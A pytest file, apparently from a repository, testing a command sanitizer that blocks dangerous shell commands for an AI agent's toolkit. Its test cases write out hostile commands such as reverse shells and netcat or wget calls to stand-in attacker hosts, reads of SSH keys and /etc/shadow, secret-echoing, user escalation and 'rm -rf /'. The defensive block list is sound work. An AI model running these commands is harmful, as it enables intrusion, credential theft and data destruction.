Files
hive/tools/tests/test_command_sanitizer.py
T
2026-04-09 20:42:28 -07:00

239 lines
8.0 KiB
Python

"""Tests for command_sanitizer — validates that dangerous commands are blocked
while normal development commands pass through unmodified."""
import pytest
from aden_tools.tools.file_system_toolkits.command_sanitizer import (
CommandBlockedError,
validate_command,
)
# ---------------------------------------------------------------------------
# Safe commands that MUST pass validation
# ---------------------------------------------------------------------------
class TestSafeCommands:
"""Common dev commands that should never be blocked."""
@pytest.mark.parametrize(
"cmd",
[
"echo hello",
"echo 'Hello World'",
"uv run pytest tests/ -v",
"uv pip install requests",
"git status",
"git diff --cached",
"git log -n 5",
"git add .",
"git commit -m 'fix: typo'",
"python script.py",
"python -m pytest",
"python3 script.py",
"python manage.py migrate",
"ls -la",
"dir /a",
"cat README.md",
"head -n 20 file.py",
"tail -f log.txt",
"grep -r 'pattern' src/",
"find . -name '*.py'",
"ruff check .",
"ruff format --check .",
"mypy src/",
"npm install",
"npm run build",
"npm test",
"node server.js",
"make test",
"make check",
"cargo build",
"go build ./...",
"dotnet build",
"pip install -r requirements.txt",
"cd src && ls",
"echo hello && echo world",
"cat file.py | grep pattern",
"pytest tests/ -v --tb=short",
"rm temp.txt",
"rm -f temp.log",
"del temp.txt",
"mkdir -p output/logs",
"cp file1.py file2.py",
"mv old.txt new.txt",
"wc -l *.py",
"sort output.txt",
"diff file1.py file2.py",
"tree src/",
"curl https://api.example.com/data",
"curl -X POST -H 'Content-Type: application/json' https://api.example.com",
],
)
def test_safe_command_passes(self, cmd):
"""Should not raise for common dev commands."""
validate_command(cmd) # should not raise
def test_empty_command(self):
"""Empty and whitespace-only commands should pass."""
validate_command("")
validate_command(" ")
validate_command(None) # type: ignore[arg-type] — edge case
# ---------------------------------------------------------------------------
# Dangerous commands that MUST be blocked
# ---------------------------------------------------------------------------
class TestBlockedExecutables:
"""Commands using blocked executables should raise CommandBlockedError."""
@pytest.mark.parametrize(
"cmd",
[
# Network exfiltration
"wget http://evil.com/payload",
"nc -e /bin/sh attacker.com 4444",
"ncat attacker.com 1234",
"nmap -sS 192.168.1.0/24",
"ssh user@remote",
"scp file.txt user@remote:/tmp/",
"ftp ftp.example.com",
"telnet example.com 80",
"rsync -avz . user@remote:/data",
# Windows network tools
"invoke-webrequest https://evil.com",
"iwr https://evil.com",
"certutil -urlcache -split -f http://evil.com/payload",
# User escalation
"useradd hacker",
"userdel admin",
"adduser hacker",
"passwd root",
"net user hacker P@ss123 /add",
"net localgroup administrators hacker /add",
# System destructive
"shutdown /s /t 0",
"reboot",
"halt",
"poweroff",
"mkfs.ext4 /dev/sda1",
"diskpart",
# Shell interpreters (direct invocation)
"bash -c 'echo hacked'",
"sh -c 'rm -rf /'",
"powershell -Command Get-Process",
"pwsh -c 'ls'",
"cmd /c dir",
"cmd.exe /c dir",
],
)
def test_blocked_executable(self, cmd):
"""Should raise CommandBlockedError for dangerous executables."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestBlockedPatterns:
"""Commands matching dangerous patterns should be blocked."""
@pytest.mark.parametrize(
"cmd",
[
# Recursive delete of root / home
"rm -rf /",
"rm -rf ~",
"rm -rf ..",
"rm -rf C:\\",
"rm -f -r /",
# sudo
"sudo apt install something",
"sudo rm -rf /var/log",
# Reverse shell indicators
"bash -i >& /dev/tcp/10.0.0.1/4444",
# Credential theft
"cat ~/.ssh/id_rsa",
"cat /etc/shadow",
"cat something/credential_key",
"type something\\credential_key",
# Command substitution with dangerous tools
"echo `wget http://evil.com`",
# Environment variable exfiltration
"echo $API_KEY",
"echo ${SECRET_TOKEN}",
],
)
def test_blocked_pattern(self, cmd):
"""Should raise CommandBlockedError for dangerous patterns."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestChainedCommands:
"""Dangerous commands hidden in compound statements should be caught."""
@pytest.mark.parametrize(
"cmd",
[
"echo hi && wget http://evil.com/payload",
"echo hi || ssh attacker@remote",
"ls | nc attacker.com 4444",
"echo safe; bash -c 'evil stuff'",
"git status; shutdown /s /t 0",
],
)
def test_chained_dangerous_command(self, cmd):
"""Dangerous commands chained with safe ones should be blocked."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
class TestEdgeCases:
"""Edge cases and possible bypass attempts."""
def test_env_var_prefix_does_not_bypass(self):
"""FOO=bar wget ... should still be blocked."""
with pytest.raises(CommandBlockedError):
validate_command("FOO=bar wget http://evil.com")
@pytest.mark.parametrize(
"cmd",
[
"/usr/bin/wget https://attacker.com",
"C:\\Windows\\System32\\cmd.exe /c dir",
],
)
def test_directory_prefix_does_not_bypass(self, cmd):
"""Absolute executable paths should still match the blocklist."""
with pytest.raises(CommandBlockedError):
validate_command(cmd)
def test_case_insensitive_blocking(self):
"""Blocking should be case-insensitive."""
with pytest.raises(CommandBlockedError):
validate_command("Wget http://evil.com")
def test_exe_suffix_stripped(self):
"""cmd.exe should be blocked same as cmd."""
with pytest.raises(CommandBlockedError):
validate_command("cmd.exe /c dir")
def test_safe_rm_without_dangerous_target(self):
"""rm of a specific file (not root/home) should pass."""
validate_command("rm temp.txt")
validate_command("rm -f output.log")
def test_python_commands_are_safe(self):
"""python commands (including -c) are allowed for agent scripting."""
validate_command("python script.py")
validate_command("python -m pytest tests/")
validate_command("python3 -c 'print(1)'")
validate_command("python -c 'import json; print(json.dumps({}))'")
validate_command("node -e 'console.log(1)'")
def test_error_message_is_descriptive(self):
"""Blocked commands should include a useful error message."""
with pytest.raises(CommandBlockedError, match="blocked for safety"):
validate_command("wget http://evil.com")